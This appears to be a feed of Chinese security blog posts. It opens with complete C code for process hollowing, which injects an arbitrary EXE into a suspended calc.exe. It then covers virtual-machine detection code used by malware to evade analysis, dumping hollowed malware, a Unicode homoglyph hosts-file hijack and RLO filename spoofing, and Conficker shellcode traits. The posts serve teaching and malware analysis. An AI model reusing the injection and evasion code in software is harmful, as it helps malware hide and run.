				if(relocType == 3)
					*codeLoc = ((DWORD)*codeLoc) + delta;
				else
				{
					printf("Unknown relocation type = %d\n", relocType);
				}
				offsetPtr++;
			}
 
			fixBlk = (FixupBlock *)offsetPtr;
		}
	}	
}
 
 
#define TARGETPROC "calc.exe"
 
typedef struct _PROCINFO
{
	DWORD baseAddr;
	DWORD imageSize;
} PROCINFO;
 
 
 
//******************************************************************************************
//
// Creates the original EXE in suspended mode and returns its info in the PROCINFO structure.
//
//******************************************************************************************
 
 
BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo)
{
	STARTUPINFO si = {0};
 
	if(CreateProcess(NULL, TARGETPROC,
		             NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi))		
	{
		ctx->ContextFlags=CONTEXT_FULL;
		GetThreadContext(pi->hThread, ctx);
 
		DWORD *pebInfo = (DWORD *)ctx->Ebx;
		DWORD read;
		ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read);
 
		DWORD curAddr = outChildProcInfo->baseAddr;
		MEMORY_BASIC_INFORMATION memInfo;
		while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo)))
		{
			if(memInfo.State == MEM_FREE)
				break;
			curAddr += memInfo.RegionSize;
		}
		outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr;
 
		return TRUE;
	}
	return FALSE;
}
 
 
//******************************************************************************************
//
// Returns true if the PE file has a relocation table
//
//******************************************************************************************
 
BOOL hasRelocationTable(PE_ExtHeader *inpeXH)
{
	if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
	{
		return TRUE;
	}
	return FALSE;
}
 
 
typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress);
 
 
//******************************************************************************************
//
// To replace the original EXE with another one we do the following.
// 1) Create the original EXE process in suspended mode.
// 2) Unmap the image of the original EXE.
// 3) Allocate memory at the baseaddress of the new EXE.
// 4) Load the new EXE image into the allocated memory.  
// 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended 
//    thread.
//
// When the original EXE process is created in suspend mode, GetThreadContext returns these useful
// register values.
// EAX - process entry point
// EBX - points to PEB
//
// So before resuming the suspended thread, we need to set EAX of the context to the entry point of the
// new EXE.
//
//******************************************************************************************
 
void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
			SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize)
{
	STARTUPINFO si = {0};
	PROCESS_INFORMATION pi;
	CONTEXT ctx;
	PROCINFO childInfo;
 
	if(createChild(&pi, &ctx, &childInfo)) 
	{		
		printf("Original EXE loaded (PID = %d).\n", pi.dwProcessId);
		printf("Original Base Addr = %X, Size = %X\n", childInfo.baseAddr, childInfo.imageSize);
 
		LPVOID v = (LPVOID)NULL;
 
		if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize)
		{
			// if new EXE has same baseaddr and is its size is <= to the original EXE, just
			// overwrite it in memory
			v = (LPVOID)childInfo.baseAddr;
			DWORD oldProtect;
			VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect);			
 
			printf("Using Existing Mem for New EXE at %X\n", (unsigned long)v);
		}
		else
		{
			// get address of ZwUnmapViewOfSection
			PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
 
			// try to unmap the original EXE image
			if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0)
			{
				// allocate memory for the new EXE image at the prefered imagebase.
				v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
				if(v)
					printf("Unmapped and Allocated Mem for New EXE at %X\n", (unsigned long)v);
			}
		}
 
		if(!v && hasRelocationTable(inpeXH))
		{
			// if unmap failed but EXE is relocatable, then we try to load the EXE at another
			// location
			v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			if(v)
			{
				printf("Allocated Mem for New EXE at %X. EXE will be relocated.\n", (unsigned long)v);
 
				// we've got to do the relocation ourself if we load the image at another
				// memory location				
				doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v);
			}
		}
 
		printf("EIP = %X\n", ctx.Eip);
		printf("EAX = %X\n", ctx.Eax);
		printf("EBX = %X\n", ctx.Ebx);		// EBX points to PEB
		printf("ECX = %X\n", ctx.Ecx);
		printf("EDX = %X\n", ctx.Edx);
 
		if(v)
		{			
			printf("New EXE Image Size = %X\n", imageSize);
 
			// patch the EXE base addr in PEB (PEB + 8 holds process base addr)
			DWORD *pebInfo = (DWORD *)ctx.Ebx;
			DWORD wrote;						
			WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote);
 
			// patch the base addr in the PE header of the EXE that we load ourselves
			PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc);
			peXH->imageBase = (DWORD)v;
 
			if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL))
			{	
				printf("New EXE image injected into process.\n");
 
				ctx.ContextFlags=CONTEXT_FULL;				
				//ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc);
 
				if((DWORD)v == childInfo.baseAddr)
				{
					ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint;		// eax holds new entry point
				}
				else
				{
					// in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was
					// performed.
					ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint;		// eax holds new entry point
				}
 
				printf("********> EIP = %X\n", ctx.Eip);
				printf("********> EAX = %X\n", ctx.Eax);
 
				SetThreadContext(pi.hThread,&ctx);
 
				ResumeThread(pi.hThread);
				printf("Process resumed (PID = %d).\n", pi.dwProcessId);
			}
			else
			{
				printf("WriteProcessMemory failed\n");
				TerminateProcess(pi.hProcess, 0);
			}
		}
		else
		{
			printf("Load failed.  Consider making this EXE relocatable.\n");
			TerminateProcess(pi.hProcess, 0);
		}
	}
	else
	{
		printf("Cannot load %s\n", TARGETPROC);
	}
}
 
 
 
 
int main(int argc, char* argv[])
{
	if(argc != 2)
	{
		printf("\nUsage: %s <EXE filename>\n", argv[0]);
		return 1;
	}
 
	FILE *fp = fopen(argv[1], "rb");
	if(fp)
	{
		MZHeader mzH;
		PE_Header peH;
		PE_ExtHeader peXH;
		SectionHeader *secHdr;
 
		if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr))
		{
			int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr);
			//printf("Image Size = %X\n", imageSize);
 
			LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
			if(ptrLoc)
			{
				//printf("Memory allocated at %X\n", ptrLoc);
				loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc);												
 
				doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize);								
			}
			else
				printf("Allocation failed\n");
		}
 
		fclose(fp);
	}
	else
		printf("\nCannot open the EXE file!\n");
 
	return 0;
}

本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [译]动态加载并执行Win32可执行程序
作者:代码疯子

您可能对下面的文章也感兴趣:

  1. PE文件之IMAGE_SECTION_HEADER
  2. 引用,其实不可以改变指向
  3. 一个C语言结构体问题
  4. HDU 1877 又一版 A+B
  5. 又是C++空类

[转]虚拟机检测技术剖析

$
0
0

作者:riusksk (泉哥)
主页:http://riusksk.blogbus.com

前言
在当今信息安全领域,特别是恶意软件分析中,经常需要利用到虚拟机技术,以提高病毒分析过程的安全性以及硬件资源的节约性,因此它在恶意软件领域中是应用越来越来广泛。这里我们所谓的虚拟机(Virtual Machine)是指通过软件模拟的具有完整硬件系统功能的、运行在一个完全隔离环境中的完整计算机系统。通过虚拟机软件(比如VMware,Virtual PC ,VirtualBox),你可以在一台物理计算机上模拟出一台或多台虚拟的计算机,这些虚拟机完全就像真正的计算机那样进行工作,例如你可以安装操作系统、安装应用程序、访问网络资源等等。攻击者为了提高恶意程序的隐蔽性以及破坏真实主机的成功率,他们都在恶意程序中加入检测虚拟机的代码,以判断程序所处的运行环境。当发现程序处于虚拟机(特别是蜜罐系统)中时,它就会改变操作行为或者中断执行,以此提高反病毒人员分析恶意软件行为的难度。本文主要针对基于Intel CPU的虚拟环境VMware中的Windows XP SP3系统进行检测分析,并列举出当前常见的几种虚拟机检测方法。
虚拟机检测技术剖析
方法一:通过执行特权指令来检测虚拟机
Vmware为真主机与虚拟机之间提供了相互沟通的通讯机制,它使用“IN”指令来读取特定端口的数据以进行两机通讯,但由于IN指令属于特权指令,在处于保护模式下的真机上执行此指令时,除非权限允许,否则将会触发类型为“EXCEPTION_PRIV_INSTRUCTION”的异常,而在虚拟机中并不会发生异常,在指定功能号0A(获取VMware版本)的情况下,它会在EBX中返回其版本号“VMXH”;而当功能号为0×14时,可用于获取VMware内存大小,当大于0时则说明处于虚拟机中。VMDetect正是利用前一种方法来检测VMware的存在,其检测代码分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
bool IsInsideVMWare()
{
  bool rc = true;
 
  __try
  {
    __asm
    {
      push   edx
      push   ecx
      push   ebx
 
      mov    eax, 'VMXh'
      mov    ebx, 0  // 将ebx设置为非幻数’VMXH’的其它值
      mov    ecx, 10 // 指定功能号,用于获取VMWare版本,当它为0x14时用于获取VMware内存大小
      mov    edx, 'VX' // 端口号
      in     eax, dx // 从端口dx读取VMware版本到eax
//若上面指定功能号为0x14时,可通过判断eax中的值是否大于0,若是则说明处于虚拟机中
      cmp    ebx, 'VMXh' // 判断ebx中是否包含VMware版本’VMXh’,若是则在虚拟机中
      setz   [rc] // 设置返回值
 
      pop    ebx
      pop    ecx
      pop    edx
    }
  }
  __except(EXCEPTION_EXECUTE_HANDLER)  //如果未处于VMware中,则触发此异常
  {
    rc = false;
  }
 
  return rc;
}

方法二:利用IDT基址检测虚拟机
利用IDT基址检测虚拟机的方法是一种通用方式,对VMware和Virtual PC均适用。中断描述符表IDT(Interrupt Descriptor Table)用于查找处理中断时所用的软件函数,它是一个由256项组成的数据,其中每一中断对应一项函数。为了读取IDT基址,我们需要通过SIDT指令来读取IDTR(中断描述符表寄存器,用于IDT在内存中的基址),SIDT指令是以如下格式来存储IDTR的内容:

typedef struct
{
    WORD IDTLimit;	// IDT的大小
    WORD LowIDTbase;	// IDT的低位地址
    WORD HiIDTbase;	// IDT的高位地址
} IDTINFO;

由于只存在一个IDTR,但又存在两个操作系统,即虚拟机系统和真主机系统。为了防止发生冲突,VMM(虚拟机监控器)必须更改虚拟机中的IDT地址,利用真主机与虚拟机环境中执行sidt指令的差异即可用于检测虚拟机是否存在。著名的“红丸”(redpill)正是利用此原理来检测VMware的。Redpill作者在VMware上发现虚拟机系统上的IDT地址通常位于0xFFXXXXXX,而Virtual PC通常位于0xE8XXXXXX,而在真实主机上正如图2所示都位于0x80xxxxxx。Redpill仅仅是通过判断执行SIDT指令后返回的第一字节是否大于0xD0,若是则说明它处于虚拟机,否则处于真实主机中。Redpill的源码甚是精简,源码分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
int main ()
{
  //相当于SIDT[adrr],其中addr用于保存IDT地址
  unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3";
  //将sidt[addr]中的addr设为m的地址
  *((unsigned*)&rpill[3]) = (unsigned)m;
  //执行SIDT指令,并将读取后IDT地址保存在数组m中
  ((void(*)())&rpill)();
 
  //由于前2字节为IDT大小,因此从m[2]开始即为IDT地址
  printf ("idt base: %#x\n", *((unsigned*)&m[2]));
  //当IDT基址大于0xd0xxxxxx时则说明程序处于VMware中
  if (m[5]>0xd0) printf ("Inside Matrix!\n", m[5]);
  else printf ("Not in Matrix.\n");
  return 0;
}

利用此IDT检测的方法存在一个缺陷,由于IDT的值只针对处于正在运行的处理器而言,在单CPU中它是个常量,但当它处于多CPU时就可能会受到影响了,因为每个CPU都有其自己的IDT,这样问题就自然而然的产生了。针对此问题,Offensive Computing组织成员提出了两种应对方法,其中一种方法就是利用Redpill反复地在系统上循环执行任务,以此构造出一张当前系统的IDT值变化统计图,但这会增加CPU负担;另一种方法就是windows API函数SetThreadAffinityMask()将线程限制在单处理器上执行,当执行此测试时只能准确地将线程执行环境限制在本地处理器,而对于将线程限制在VM处理器上就可能行不通了,因为VM是计划在各处理器上运行的,VM线程在不同的处理器上执行时,IDT值将会发生变化,因此此方法也是很少被使用的。为此,有人提出了使用LDT的检测方法,它在具有多个CPU的环境下检测虚拟机明显优于IDT检测方法,该方法具体内容参见下节内容。

方法三:利用LDT和GDT的检测方法
在 《Intel® 64 and IA-32 Architecture Software Developer’s Manual Volume 3A: System Programming Guide》第二章的Vol.3 2-5 一页(我的Intel开发手册是2008版的)中对于LDT和GDT的描述如下(以下内容为个人翻译):
在保护模式下,所有的内存访问都要通过全局描述符表(GDT)或者本地描述符表(LDT)才能进行。这些表包含有段描述符的调用入口。各个段描述符都包含有各段的基址,访问权限,类型和使用信息,而且每个段描述符都拥有一个与之相匹配的段选择子,各个段选择子都为软件程序提供一个GDT或LDT索引(与之相关联的段描述符偏移量),一个全局/本地标志(决定段选择子是指向GDT还是LDT),以及访问权限信息。
若想访问段中的某一字节,必须同时提供一个段选择子和一个偏移量。段选择子为段提供可访问的段描述符地址(在GDT 或者LDT 中)。通过段描述符,处理器从中获取段在线性地址空间里的基址,而偏移量用于确定字节地址相对基址的位置。假定处理器在当前权限级别(CPL)可访问这个段,那么通过这种机制就可以访问在GDT 或LDT 中的各种有效代码、数据或者堆栈段,这里的CPL是指当前可执行代码段的保护级别。
……
GDT的线性基址被保存在GDT寄存器(GDTR)中,而LDT的线性基址被保存在LDT寄存器(LDTR)中。

由于虚拟机与真实主机中的GDT和LDT并不能相同,这与使用IDT的检测方法一样,因此虚拟机必须为它们提供一个“复制体”。关于GDT和LDT的基址可通过SGDT和SLDT指令获取。虚拟机检测工具Scoopy suite的作者Tobias Klein经测试发现,当LDT基址位于0×0000(只有两字节)时为真实主机,否则为虚拟机,而当GDT基址位于0xFFXXXXXX时说明处于虚拟机中,否则为真实主机。具体实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
 
void LDTDetect(void)
{
    unsigned short ldt_addr = 0;
    unsigned char ldtr[2];
 
    _asm sldt ldtr
    ldt_addr = *((unsigned short *)&ldtr);
    printf("LDT BaseAddr: 0x%x\n", ldt_addr);
 
    if(ldt_addr == 0x0000)
    {
        printf("Native OS\n");
    }
    else
        printf("Inside VMware\n");
}
 
void GDTDetect(void)
{
    unsigned int gdt_addr = 0;
    unsigned char gdtr[4];
 
    _asm sgdt gdtr
    gdt_addr = *((unsigned int *)&gdtr[2]);
    printf("GDT BaseAddr:0x%x\n", gdt_addr);
 
    if((gdt_addr >> 24) == 0xff)
    {
        printf("Inside VMware\n");
    }
    else
        printf("Native OS\n");
}
 
int main(void)
{
    LDTDetect();
    GDTDetect();
    return 0;
}

方法四:基于STR的检测方法
在保护模式下运行的所有程序在切换任务时,对于当前任务中指向TSS的段选择器将会被存储在任务寄存器中,TSS中包含有当前任务的可执行环境状态,包括通用寄存器状态,段寄存器状态,标志寄存器状态,EIP寄存器状态等等,当此项任务再次被执行时,处理器就会其原先保存的任务状态。每项任务均有其自己的TSS,而我们可以通过STR指令来获取指向当前任务中TSS的段选择器。这里STR(Store task register)指令是用于将任务寄存器 (TR) 中的段选择器存储到目标操作数,目标操作数可以是通用寄存器或内存位置,使用此指令存储的段选择器指向当前正在运行的任务的任务状态段 (TSS)。在虚拟机和真实主机之中,通过STR读取的地址是不同的,当地址等于0x0040xxxx时,说明处于虚拟机中,否则为真实主机。实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
int main(void)
{
    unsigned char mem[4] = {0};
    int i;
 
    __asm str mem;
    printf (" STR base: 0x");
    for (i=0; i<4; i++)
    {
        printf("%02x",mem[i]);
    }
 
    if ( (mem[0]==0x00) && (mem[1]==0x40))
        printf("\n INSIDE MATRIX!!\n");
    else
        printf("\n Native OS!!\n");
    return 0;
}

方法五:基于注册表检测虚拟机
在windows虚拟机中常常安装有VMware Tools以及其它的虚拟硬件(如网络适配器、虚拟打印机,USB集线器……),它们都会创建任何程序都可以读取的windows注册表项,因此我们可以通过检测注册表中的一些关键字符来判断程序是否处于虚拟机之中。关于这些注册表的位置我们可以通过在注册表中搜索关键词“vmware”来获取,下面是我在VMware下的WinXP中找到的一些注册表项:

项名:HKEY_CLASSES_ROOT\Applications\VMwareHostOpen.exe
项名:HKEY_CLASSES_ROOT\Installer\Products\C2A6F2EFE6910124C940B2B12CF170FE\ProductName
键值“VMware Tools”
项名:HKEY_CLASSES_ROOT\Installer\Products\C2A6F2EFE6910124C940B2B12CF170FE\SourceList\PackageName
键值:VMware Tools.msi
项名:HKEY_CURRENT_USER\Printers\DeviceOld
键值:_#VMwareVirtualPrinter,winspool,TPVM:
项名:HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier
键值:VMware Virtual IDE Hard Drive
项名:HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier
键值:NECVMWar VMware IDE CDR10
项名:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\C2A6F2EFE6910124C940B2B12CF170FE\ProductName
键值:VMware Tools
项名:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\C2A6F2EFE6910124C940B2B12CF170FE\InstallProperties\DisplayName
键值:VMware Tools
项名:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Reinstall\0002\DeviceDesc
键值:VMware SVGA II
项名:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards\2\Description
键值:VMware Accelerated AMD PCNet Adapter
项名:HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware Tools
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc
键值:VMware SVGA II
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-
08002BE10318}\0000\ProviderName
键值:VMware, Inc.
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001\DriverDesc
键值:VMware Accelerated AMD PCNet Adapter
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E97B-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc
键值:VMware SCSI Controller
项名:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\ThinPrint Print Port Monitor for VMWare

除以上这些表项之外,还有很多地方可以检测,特别是虚拟机提供的虚拟化软硬件、服务之类,比如文件共享服务,VMware 物理磁盘助手服务,VMware Ethernet Adapter Driver,VMware SCSI Controller等等的这些信息都可作为检测虚拟机的手段。这里我们就以其中某表项为例编程举例一下,其它表项检测方法同理,具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.386
.model flat, stdcall
option casemap:none
 
   include  windows.inc
   include  user32.inc
   include  kernel32.inc
   include  advapi32.inc
 
   includelib  user32.lib
   includelib  kernel32.lib
   includelib  advapi32.lib
 
.data
szCaption     db "VMware Detector ",0
szInside         db "Inside VMware!",0
szOutside              db "Native OS!",0
szSubKey      db "software\VMWare, Inc.\VMware tools",0
hKey              dd    ?
 
.code
start:
  invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, addr szSubKey, 0,\
                 KEY_WRITE or KEY_READ, addr hKey
  .if eax == ERROR_SUCCESS
  invoke MessageBox, NULL,addr szInside, addr szCaption, MB_OK
  .else
  invoke MessageBox, NULL,addr szOutside, addr szCaption, MB_OK
  .endif
  invoke RegCloseKey,hKey
  invoke ExitProcess,NULL
end start

方法六:基于时间差的检测方式
本方法通过运行一段特定代码,然后比较这段代码在虚拟机和真实主机之中的相对运行时间,以此来判断是否处于虚拟机之中。这段代码我们可以通过RDTSC指令来实现,RDTSC指令是用于将计算机启动以来的CPU运行周期数存放到EDX:EAX里面,其中EDX是高位,而EAX是低位。下面我们以xchg ecx, eax 一句指令的运行时间为例,这段指令在我的真实主机windows 7系统上的运行时间为0000001E,而该指令在虚拟机WinXP下的运行时间为00000442,两者之间的运行时间明显差别很多,在虚拟机中的运行速度远不如真实主机的,一般情况下,当它的运行时间大于0xFF时,就可以确定它处于虚拟机之中了,因此不难写出检测程序,具体实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.586p
.model flat, stdcall
option casemap:none
 
include			windows.inc
include 			kernel32.inc
include			user32.inc
 
includelib		kernel32.lib
includelib		user32.lib
 
 
.data
szTitle			db	"VMDetect With RDTSC", 0h
szInsideVM		db	"Inside VMware!", 0h
szOutsideVM		db	"Native OS!", 0h
 
.code
 
start:
	RDTSC
	xchg 		ecx, eax
	RDTSC	
	sub		eax, ecx
	cmp		eax, 0FFh
	jg		Detected
 
	invoke	MessageBox, 0, offset szOutsideVM, offset szTitle, 0
	ret
 
Detected:
	invoke 	MessageBox, 0, offset szInsideVM, offset szTitle, 0
	ret
end start

方法七:利用虚拟硬件指纹检测虚拟机
利用虚拟硬件指纹也可用于检测虚拟机的存在,比如VMware默认的网卡MAC地址前缀为“00-05-69,00-0C-29或者00-50-56”,这前3节是由VMware分配的唯一标识符OUI,以供它的虚拟化适配器使用。在我的VMWare WinXP下的MAC地址为00-0C-29-5B-D7-67,但由于这些可经过修改配置文件来绕过检测。另外,还可通过检测特定的硬件控制器,BIOS,USB控制器,显卡,网卡等特征字符串进行检测,这些在前面使用注册表检测方法中已有所涉及。另外之前在看雪论坛上也有朋友提到通过检测硬盘Model Number是否含有“vmware”或“virtual”等字样来实现检测虚拟机的功能,网址见这(附源码):http://bbs.pediy.com/showthread.php?t=110046。

总结
国外SANS安全组织的研究人员总结出当前各种虚拟机检测手段不外乎以下四类:
● 搜索虚拟环境中的进程,文件系统,注册表;
● 搜索虚拟环境中的内存
● 搜索虚拟环境中的特定虚拟硬件
● 搜索虚拟环境中的特定处理器指令和功能
因为现代计算系统大多是由文件系统,内存,处理器及各种硬件组件构成的,上面提到的四种检测手段均包含了这些因素。纵观前面各种检测方法,也均在此四类当中。除此之外,也有人提出通过网络来检测虚拟机,比如搜索ICMP和TCP数据通讯的时间差异,IP ID数据包差异以及数据包中的异常头信息等等。随着技术研究的深入,相信会有更多的检测手段出现,与此同时,虚拟机厂商也会不断进化它们的产品,以增加anti-vmware的难度,这不也正是一场永无休止的无烟战争!


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [转]虚拟机检测技术剖析
作者:代码疯子

您可能对下面的文章也感兴趣:

  1. HDU 1877 又一版 A+B
  2. 顶嵌杯C语言编程大赛初赛解题代码
  3. 一个C语言结构体问题
  4. POJ 1321 棋盘问题[DFS]
  5. ISCC2011基础关-小明的程序

傀儡进程内存Dump

$
0
0

傀儡进程(参见《动态加载并执行Win32可执行程序》),简单的说是指通过给CreateProcess传递一个CREATE_SUSPENDED参数可以使得被创建的子进程处于挂起状态,此时EXE的映像会被加载到进程空间中,但是并不会立即被执行,除非调用ResumeThread。在ResumeThread之前,通过GetThreadContext获取主线程的上下文以取得PEB等,调用ZwUnmapViewOfSection/NtUnmapViewOfSection卸载子进程原有区块,通过VirtualAllocEx在子进程指定的基址分配空间,调用ReadProcessMemory和WriteProcessMemory这样的API来读写子进程空间的内容,调用 VirtualProtectEx修改内存的属性为可读可写可执行,最后调用SetThreadContext/ResumeThread即可让子进程执行恶意代码。

动态加载并执行Win32可执行程序》提到的是把已知的EXE注入到其他正常的EXE之中,要获取到恶意代码直接拿到恶意的EXE就行了。而如果恶意代码是加密了的呢?比如把恶意代码加密后就存放于自身,然后创建自身子进程,解密恶意代码注入子进程,那么就要想办法对子进程内存Dump了。Dump的时机是在ResumeThread即将被调用之前,而此时在LordPE中直接完整Dump会出错,用PE Tools Dump下来的是原始的EXE,并不能把恶意代码Dump下来,用OllyDbg附加也提示出错。

这时其实可以用LordPE的部分Dump功能来完成,只需要知道内存地址的起始地址与大小即可,所以可以在VirtualAllocEx下个断点:

0012FC50   00602C9D  /CALL 到 VirtualAllocEx 来自 fxxk.00602C9A
0012FC54   0000004C  |hProcess = 0000004C
0012FC58   00400000  |lpAddress = 00400000
0012FC5C   00053000  |dwSize = 53000 (339968.)
0012FC60   00003000  |flAllocationType = 3000 (12288.)
0012FC64   00000004  \flProtect = 4

这样就知道该在何处Dump,要Dump多大了:
LordPE部分Dump内存
Dump出来之后,需要对文件做几个小修复:把文件对其粒度FileAlignment改为内存对齐粒度SectionAlignment同样的值,之后还需要把所有节表头的PointerToRawData改为VirtualAddress同样的值,保存即可。
LordPE修复Dump文件对齐粒度和节文件偏移
这样就把恶意代码拿到手了。


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 傀儡进程内存Dump
作者:代码疯子

您可能对下面的文章也感兴趣:

  1. 代码注入技术
  2. 通过异步过程调用(APC)注入DLL
  3. [译]动态加载并执行Win32可执行程序

[译]我们能相信自己的眼睛吗?

$
0
0

几天前一个客户向我们提交了一个样本(SHA1值为fbe71968d4c5399c2906b56d9feadf19a35beb97,检测结果为TrojanDropper:Win32/Vundo.L)。这个木马使用了一种特殊的方式劫持了vk.com以及vkontakte.ru这两个域名(都是俄罗斯的社交网站),并将他们重定向到92.38.209.252的IP地址。

通常劫持一个网站并将其重定向到攻击者的IP地址的方法是修改位于%SystemRoot%\system32\drivers\etc目录下的hosts文件,然而,当我们在被感染的机器上打开hosts文件的时候,里面并没有发现与vk.com和vkontakte.ru相关的重定向规则,如下图所示:
Windows hosts文件
但是当设置显示隐藏文件的时候,我们发现了另一个hosts文件,该文件是隐藏的,如下图所示:
被隐藏的hosts文件
竟然在etc目录下存在两个名字同为hosts的文件,这到底是怎么回事呢?

我们都知道同一目录下是不允许存在同名文件的。现在我们复制这两个文件的文件名到记事本之中,并保存为Unicode文本文件,再在十六进制编辑器中打开文本文件,我们可以分别看到如下的情况:
通过16进制编辑器对比
对于Unicode(UTF-16),0x006F与ASCII中的0x6F是一样的,都是字母“o”。那0x043E在Unicode中又是表示什么呢?我们可以查一查Unicode字符对照表(0×0400至0x04FF),下图是这个表的部分截图:
Unicode字符对照表
我们可以看到0x043E在Unicode中表示一个西里尔(Cyrillic)字符,这个字符酷似小写英文字母“o”。现在可以断定隐藏的hosts文件才是真正的hosts文件,当我们打开这个文件时可以看到里面添加了两个网站的IP重定向:
真正的hosts文件内容
至此谜团终于解开了。

黑客通过Unicode字符来误导用户已经不是第一次了,在2010年8月,一位中国黑客披露了一种利用Unicode控制符来诱导用户执行可执行文件的手段。黑客使用Unicode控制符0x202E(RLO)来逆转文件名的部分字符,使得文件名在资源管理器中看上去不一样。

举个例子,有一个文件名为“picgpj.exe”的文件,如下图所示:
正常文件名picgpj.exe
“gpj.exe”是有目的选取的名字,当在“gpj.exe”前面插入一个RLO控制符的时候,整个文件名看起来是这样的:
通过Unicode RLO处理后的假文件名
黑客同时使用一个图片图标作为可执行程序的图标,粗心的用户会误以为这是一个jpg图片文件,并盲目的通过双击来打开它,从而执行了可执行文件。显然这种手段对Unicode敏感的程序没有作用,但是用户却很难凭着眼镜来辨别。

我们能相信自己的眼睛吗?答案是……并不是经常是这样的。

原文:Can we believe our eyes?
案例:W32/XDocCrypt.a Infects Executable and Doc Files
演示:
Unicode RLO文件名混淆


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [译]我们能相信自己的眼睛吗?
作者:代码疯子

没有相关文章推荐

Conficker/Kido ShellCode

$
0
0

考虑到这个学期有门课有个缓冲区溢出的大实验,所以还是决定认认真真的翻一翻《0Day安全 软件漏洞分析技术》上面的相关章节,快速阅读前三章,基本是讲解基本栈溢出的利用以及ShellCode的编写,因为以前也简单的玩过,所以也没什么问题。结合前段时间从Conficker.B中提取出来的ShellCode,简单做点笔记。

Conficker.B内的ShellCode的基本特点是:
1. 代码混淆:开头的两条指令共用了一个字节,干扰反汇编指令
2. 代码重定位:call/pop获取当前某个字节的虚拟地址,然后通过偏移访问特定位置的数据
3. 解码:在开头的Stub程序负责对后面的ShellCode进行解码(XOR 0xC4),MS(0x534D)表示结束标记
